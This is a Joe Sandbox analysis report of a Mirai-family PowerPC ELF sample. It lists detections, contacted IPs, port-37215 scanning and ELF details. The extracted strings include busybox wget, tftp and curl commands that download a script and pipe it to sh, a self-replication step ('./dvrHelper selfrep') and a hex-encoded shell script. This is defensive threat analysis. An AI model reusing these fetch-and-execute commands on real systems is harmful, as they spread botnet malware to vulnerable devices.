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Linux Analysis Report
tppc.elf

Overview

General Information

Sample name:	tppc.elf
Analysis ID:	1496629
MD5:	32432f6bbc11635dcaea61059cdfa891
SHA1:	6e4b619d171fa3d6026c3af8adb6068231c16a28
SHA256:	b7cf3c3c1df98184eec498824cb7ca77225735caba60626053784e64791faea6
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sample deletes itself

Detected TCP or UDP traffic on non-standard ports

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1496629
Start date and time:	2024-08-21 15:32:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	tppc.elf
Detection:	MAL
Classification:	mal52.evad.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/tppc.elf
PID:	6262
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

tppc.elf (PID: 6262, Parent: 6188, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/tppc.elf

dash New Fork (PID: 6277, Parent: 4331)

rm (PID: 6277, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.LaopNjNyHy /tmp/tmp.N6R7vqmHID /tmp/tmp.7Vzzxe6xFH

dash New Fork (PID: 6278, Parent: 4331)

rm (PID: 6278, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.LaopNjNyHy /tmp/tmp.N6R7vqmHID /tmp/tmp.7Vzzxe6xFH

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: tppc.elf

ReversingLabs: Detection: 28%

Source: tppc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox echo "whomp whomp fn" > /proc/sys/kernel/hostname/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 192.168.2.23:43700 -> 197.121.73.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:40034 -> 197.178.134.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:58316 -> 156.166.220.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:36494 -> 156.108.45.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:54234 -> 156.30.232.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:53610 -> 197.45.57.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:52356 -> 41.127.106.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:57716 -> 156.120.112.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:36264 -> 41.88.166.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:47950 -> 156.146.83.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:52928 -> 197.21.238.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:44238 -> 41.88.168.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36948 -> 197.187.177.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:44586 -> 156.239.31.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:50862 -> 41.8.61.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:59666 -> 197.76.27.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:45672 -> 141.98.10.95:6523

Source: /tmp/tppc.elf (PID: 6262)

Socket: 127.0.0.1:1122

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 197.121.73.100
Source: unknown	TCP traffic detected without corresponding DNS query: 197.178.134.92
Source: unknown	TCP traffic detected without corresponding DNS query: 156.166.220.68
Source: unknown	TCP traffic detected without corresponding DNS query: 156.108.45.12
Source: unknown	TCP traffic detected without corresponding DNS query: 156.30.232.144
Source: unknown	TCP traffic detected without corresponding DNS query: 197.45.57.147
Source: unknown	TCP traffic detected without corresponding DNS query: 41.127.106.52
Source: unknown	TCP traffic detected without corresponding DNS query: 156.120.112.68
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.166.148
Source: unknown	TCP traffic detected without corresponding DNS query: 156.146.83.211
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.238.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.168.155
Source: unknown	TCP traffic detected without corresponding DNS query: 197.187.177.134
Source: unknown	TCP traffic detected without corresponding DNS query: 156.239.31.199
Source: unknown	TCP traffic detected without corresponding DNS query: 41.8.61.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.27.167
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: tppc.elf	String found in binary or memory: http:///curl.sh
Source: tppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39258
Source: unknown	Network traffic detected: HTTP traffic on port 39258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo "whomp whomp fn" > /proc/sys/kernel/hostname
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox echo "whomp whomp fn" > /proc/sys/kernel/hostname/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepi love the big /var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x2

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.evad.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6277)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.LaopNjNyHy /tmp/tmp.N6R7vqmHID /tmp/tmp.7Vzzxe6xFH			Jump to behavior
Source: /usr/bin/dash (PID: 6278)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.LaopNjNyHy /tmp/tmp.N6R7vqmHID /tmp/tmp.7Vzzxe6xFH			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/tppc.elf (PID: 6262)

File: /tmp/tppc.elf

Jump to behavior

Source: /tmp/tppc.elf (PID: 6262)

Queries kernel information via 'uname':

Jump to behavior

Source: tppc.elf, 6262.1.00005603ad85f000.00005603ad932000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: tppc.elf, 6262.1.00005603ad85f000.00005603ad932000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: tppc.elf, 6262.1.00007ffd02d81000.00007ffd02da2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: tppc.elf, 6262.1.00007ffd02d81000.00007ffd02da2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/tppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/tppc.elf

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	11 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
tppc.elf	29%	ReversingLabs	Linux.Trojan.Mirai

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	tppc.elf	false		unknown
http:///curl.sh	tppc.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.127.106.52	unknown	South Africa	16637	MTNNS-ASZA	false
41.88.166.148	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
156.239.31.199	unknown	Seychelles	8100	ASN-QUADRANET-GLOBALUS	false
197.187.177.134	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
141.98.10.95	unknown	Lithuania	209605	HOSTBALTICLT	false
41.88.168.155	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
197.76.27.167	unknown	South Africa	16637	MTNNS-ASZA	false
197.45.57.147	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.166.220.68	unknown	Egypt	36992	ETISALAT-MISREG	false
156.108.45.12	unknown	United States	36081	STATE-OF-COLORADO-MNT-NETWORKUS	false
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
156.120.112.68	unknown	United States	393504	XNSTGCA	false
197.21.238.134	unknown	Tunisia	37693	TUNISIANATN	false
156.30.232.144	unknown	United States	34542	SAFRANHE-ASFR	false
197.121.73.100	unknown	Egypt	36992	ETISALAT-MISREG	false
197.178.134.92	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.8.61.134	unknown	South Africa	29975	VODACOM-ZA	false
156.146.83.211	unknown	United States	3743	ARCEL-2US	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	MDFZw2U0Ighb3bI9K2SX7ce4TvmxPbklXP.elf	Get hash	malicious	Unknown	Browse
	earm6.elf	Get hash	malicious	Unknown	Browse
	hoho.arc.elf	Get hash	malicious	Unknown	Browse
	arm4.elf	Get hash	malicious	Unknown	Browse
	darkness.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ZXIYF2Kbjo.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	bot.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse
	sEhhAVrWAB.elf	Get hash	malicious	Unknown	Browse
	oHkZAUjDva.elf	Get hash	malicious	Unknown	Browse
	LCkGOSw1kR.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
141.98.10.95	sarm6.elf	Get hash	malicious	Mirai	Browse
141.98.10.95	1316wjL1Ep.elf	Get hash	malicious	Unknown	Browse
91.189.91.43	sarm5.elf	Get hash	malicious	Mirai	Browse
	nsharm6.elf	Get hash	malicious	Mirai	Browse
	sshc.elf	Get hash	malicious	Unknown	Browse
	jew.arm5.elf	Get hash	malicious	Mirai	Browse
	grjD7lWffX.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	bot.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse
	bot.x86.elf	Get hash	malicious	Mirai, Okiru	Browse
	bot.mips.elf	Get hash	malicious	Mirai, Okiru	Browse
	KKveTTgaAAsecNNaaaa.arm5.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	ExeFile (278).exe	Get hash	malicious	Emotet	Browse	203.25.159.3
	GtZtVa7XV8.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	64.188.9.172
	EUR Swift Bildirimi12-08-2024.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	T6LMJUoWLy.exe	Get hash	malicious	RedLine	Browse	162.218.211.195
	DHL AWB No 8023000.cmd.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	162.218.211.195
	INQUIRY#84790-AUGUST24.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	64.188.18.85
	https://t.ly/Jo2X0	Get hash	malicious	HTMLPhisher	Browse	23.152.0.52
	http://www.bilgebag.com/targo/	Get hash	malicious	Unknown	Browse	104.247.173.252
	SecuriteInfo.com.W32.Autoit.G.gen.Eldorado.8296.30254.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	67.215.224.135
	SecuriteInfo.com.W32.Autoit.G.gen.Eldorado.30770.24366.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	67.215.224.135
airtel-tz-asTZ	KKveTTgaAAsecNNaaaa.sh4.elf	Get hash	malicious	Unknown	Browse	156.156.63.253
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	156.158.49.76
	154.216.17.9-skid.ppc-2024-08-04T06_22_51.elf	Get hash	malicious	Mirai, Moobot	Browse	197.187.221.109
	154.216.17.9-skid.arm5-2024-08-04T06_23_00.elf	Get hash	malicious	Mirai, Moobot	Browse	156.158.51.122
	154.216.17.9-skid.arm-2024-08-04T06_22_56.elf	Get hash	malicious	Mirai, Moobot	Browse	197.187.29.166
	154.216.17.9-skid.arm7-2024-08-04T06_23_04.elf	Get hash	malicious	Mirai, Moobot	Browse	197.152.130.237
	154.216.17.9-skid.m68k-2024-08-04T06_23_08.elf	Get hash	malicious	Mirai, Moobot	Browse	156.158.49.47
	154.216.17.9-skid.mips-2024-08-04T06_23_09.elf	Get hash	malicious	Mirai, Moobot	Browse	156.158.50.40
	154.216.17.9-skid.x86_64-2024-08-04T06_23_14.elf	Get hash	malicious	Mirai, Moobot	Browse	156.157.24.209
	154.216.17.9-skid.mpsl-2024-08-04T06_22_50.elf	Get hash	malicious	Mirai, Moobot	Browse	156.158.98.161
MTNNS-ASZA	KKveTTgaAAsecNNaaaa.ppc.elf	Get hash	malicious	Unknown	Browse	197.72.65.165
	KKveTTgaAAsecNNaaaa.mpsl.elf	Get hash	malicious	Unknown	Browse	105.211.189.220
	ExeFile (388).exe	Get hash	malicious	Emotet	Browse	105.209.235.113
	ExeFile (39).exe	Get hash	malicious	Emotet	Browse	105.209.235.113
	ExeFile (220).exe	Get hash	malicious	Emotet	Browse	105.209.235.113
	ExeFile (186).exe	Get hash	malicious	Emotet	Browse	105.213.67.88
	ExeFile (201).exe	Get hash	malicious	Emotet	Browse	105.209.239.55
	ExeFile (107).exe	Get hash	malicious	Emotet	Browse	105.209.235.113
	ExeFile (122).exe	Get hash	malicious	Emotet	Browse	105.209.235.113
	SecuriteInfo.com.Linux.Siggen.9999.2027.4559.elf	Get hash	malicious	Mirai	Browse	105.209.4.65
SAFARICOM-LIMITEDKE	xd.x86.elf	Get hash	malicious	Mirai	Browse	105.167.98.124
	KKveTTgaAAsecNNaaaa.i686.elf	Get hash	malicious	Unknown	Browse	197.177.27.39
	KKveTTgaAAsecNNaaaa.x86_64.elf	Get hash	malicious	Unknown	Browse	196.101.4.237
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	197.181.96.223
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	196.100.168.178
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	197.177.39.207
	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse	196.98.136.199
	SecuriteInfo.com.Linux.Siggen.9999.22286.12230.elf	Get hash	malicious	Mirai	Browse	196.108.221.95
	botx.arm.elf	Get hash	malicious	Mirai	Browse	196.106.207.45
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	197.179.242.16

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.298004908059316
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	tppc.elf
File size:	63'164 bytes
MD5:	32432f6bbc11635dcaea61059cdfa891
SHA1:	6e4b619d171fa3d6026c3af8adb6068231c16a28
SHA256:	b7cf3c3c1df98184eec498824cb7ca77225735caba60626053784e64791faea6
SHA512:	9474641e4d0286d8612000b92f25d6b19d34145e445dc0e144f3e9c9a81bf5288515a6c2dced44f397173953848ce37862804ea97b634198305cbeb57e53329b
SSDEEP:	1536:zXFWuAxQsQQeJiXSaXEL3xaTgZux0IuQouMns8MsTy6:zXwudLQUk0zxrux0IuaMns76
TLSH:	2B533B82330C4A57C16B1B71193F5BE1A3BB9E9022E0B2877A0EF74DC5B2E365585E5C
File Content Preview:	.ELF...........................4.........4. ...(..........................................................TH........dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?........+../...A..$8...})......N..

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	62684
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xda48	0x0	0x6	AX	4
.fini	PROGBITS	0x1000db00	0xdb00	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000db20	0xdb20	0x15ac	0x0	0x2	A	4
.ctors	PROGBITS	0x1001f0d0	0xf0d0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001f0d8	0xf0d8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1001f0e8	0xf0e8	0x374	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001f45c	0xf45c	0x34	0x0	0x3	WA	4
.sbss	NOBITS	0x1001f490	0xf490	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001f4fc	0xf490	0x501c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf490	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xf0cc	0xf0cc	6.3464	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xf0d0	0x1001f0d0	0x1001f0d0	0x3c0	0x5448	3.1134	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 15:33:32.695147991 CEST	37215	58316	156.166.220.68	192.168.2.23
Aug 21, 2024 15:33:32.695205927 CEST	37215	40034	197.178.134.92	192.168.2.23
Aug 21, 2024 15:33:32.695233107 CEST	37215	43700	197.121.73.100	192.168.2.23
Aug 21, 2024 15:33:32.695311069 CEST	43700	37215	192.168.2.23	197.121.73.100
Aug 21, 2024 15:33:32.695311069 CEST	40034	37215	192.168.2.23	197.178.134.92
Aug 21, 2024 15:33:32.695311069 CEST	58316	37215	192.168.2.23	156.166.220.68
Aug 21, 2024 15:33:32.695461035 CEST	37215	36494	156.108.45.12	192.168.2.23
Aug 21, 2024 15:33:32.695480108 CEST	37215	54234	156.30.232.144	192.168.2.23
Aug 21, 2024 15:33:32.695513010 CEST	37215	53610	197.45.57.147	192.168.2.23
Aug 21, 2024 15:33:32.695514917 CEST	36494	37215	192.168.2.23	156.108.45.12
Aug 21, 2024 15:33:32.695516109 CEST	54234	37215	192.168.2.23	156.30.232.144
Aug 21, 2024 15:33:32.695530891 CEST	37215	57716	156.120.112.68	192.168.2.23
Aug 21, 2024 15:33:32.695544958 CEST	37215	52356	41.127.106.52	192.168.2.23
Aug 21, 2024 15:33:32.695559978 CEST	53610	37215	192.168.2.23	197.45.57.147
Aug 21, 2024 15:33:32.695569038 CEST	37215	36264	41.88.166.148	192.168.2.23
Aug 21, 2024 15:33:32.695590019 CEST	52356	37215	192.168.2.23	41.127.106.52
Aug 21, 2024 15:33:32.695590973 CEST	57716	37215	192.168.2.23	156.120.112.68
Aug 21, 2024 15:33:32.695593119 CEST	37215	47950	156.146.83.211	192.168.2.23
Aug 21, 2024 15:33:32.695607901 CEST	36264	37215	192.168.2.23	41.88.166.148
Aug 21, 2024 15:33:32.695657969 CEST	47950	37215	192.168.2.23	156.146.83.211
Aug 21, 2024 15:33:32.699146986 CEST	37215	52928	197.21.238.134	192.168.2.23
Aug 21, 2024 15:33:32.699207067 CEST	52928	37215	192.168.2.23	197.21.238.134
Aug 21, 2024 15:33:34.746987104 CEST	37215	44238	41.88.168.155	192.168.2.23
Aug 21, 2024 15:33:34.747016907 CEST	37215	50862	41.8.61.134	192.168.2.23
Aug 21, 2024 15:33:34.747045040 CEST	37215	36948	197.187.177.134	192.168.2.23
Aug 21, 2024 15:33:34.747064114 CEST	37215	44586	156.239.31.199	192.168.2.23
Aug 21, 2024 15:33:34.747087955 CEST	37215	59666	197.76.27.167	192.168.2.23
Aug 21, 2024 15:33:34.747108936 CEST	44238	37215	192.168.2.23	41.88.168.155
Aug 21, 2024 15:33:34.747108936 CEST	36948	37215	192.168.2.23	197.187.177.134
Aug 21, 2024 15:33:34.747108936 CEST	44586	37215	192.168.2.23	156.239.31.199
Aug 21, 2024 15:33:34.747108936 CEST	50862	37215	192.168.2.23	41.8.61.134
Aug 21, 2024 15:33:34.747129917 CEST	59666	37215	192.168.2.23	197.76.27.167
Aug 21, 2024 15:33:36.296492100 CEST	43928	443	192.168.2.23	91.189.91.42
Aug 21, 2024 15:33:41.671721935 CEST	42836	443	192.168.2.23	91.189.91.43
Aug 21, 2024 15:33:53.763633966 CEST	443	39258	34.249.145.219	192.168.2.23
Aug 21, 2024 15:33:53.764003992 CEST	39258	443	192.168.2.23	34.249.145.219
Aug 21, 2024 15:33:53.770483971 CEST	443	39258	34.249.145.219	192.168.2.23
Aug 21, 2024 15:33:57.797430038 CEST	42516	80	192.168.2.23	109.202.202.202
Aug 21, 2024 15:33:57.797437906 CEST	43928	443	192.168.2.23	91.189.91.42
Aug 21, 2024 15:34:08.035980940 CEST	42836	443	192.168.2.23	91.189.91.43
Aug 21, 2024 15:34:09.371817112 CEST	6523	45672	141.98.10.95	192.168.2.23
Aug 21, 2024 15:34:09.371948004 CEST	45672	6523	192.168.2.23	141.98.10.95
Aug 21, 2024 15:34:12.708146095 CEST	17803	34204	141.98.10.95	192.168.2.23
Aug 21, 2024 15:34:12.708477974 CEST	34204	17803	192.168.2.23	141.98.10.95
Aug 21, 2024 15:34:38.751848936 CEST	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: tppc.elf PID: 6262, Parent PID: 6188

General

Start time (UTC):	13:33:33
Start date (UTC):	21/08/2024
Path:	/tmp/tppc.elf
Arguments:	/tmp/tppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	13:33:52
Start date (UTC):	21/08/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:33:52
Start date (UTC):	21/08/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.LaopNjNyHy /tmp/tmp.N6R7vqmHID /tmp/tmp.7Vzzxe6xFH
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	13:33:52
Start date (UTC):	21/08/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	13:33:52
Start date (UTC):	21/08/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.LaopNjNyHy /tmp/tmp.N6R7vqmHID /tmp/tmp.7Vzzxe6xFH
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
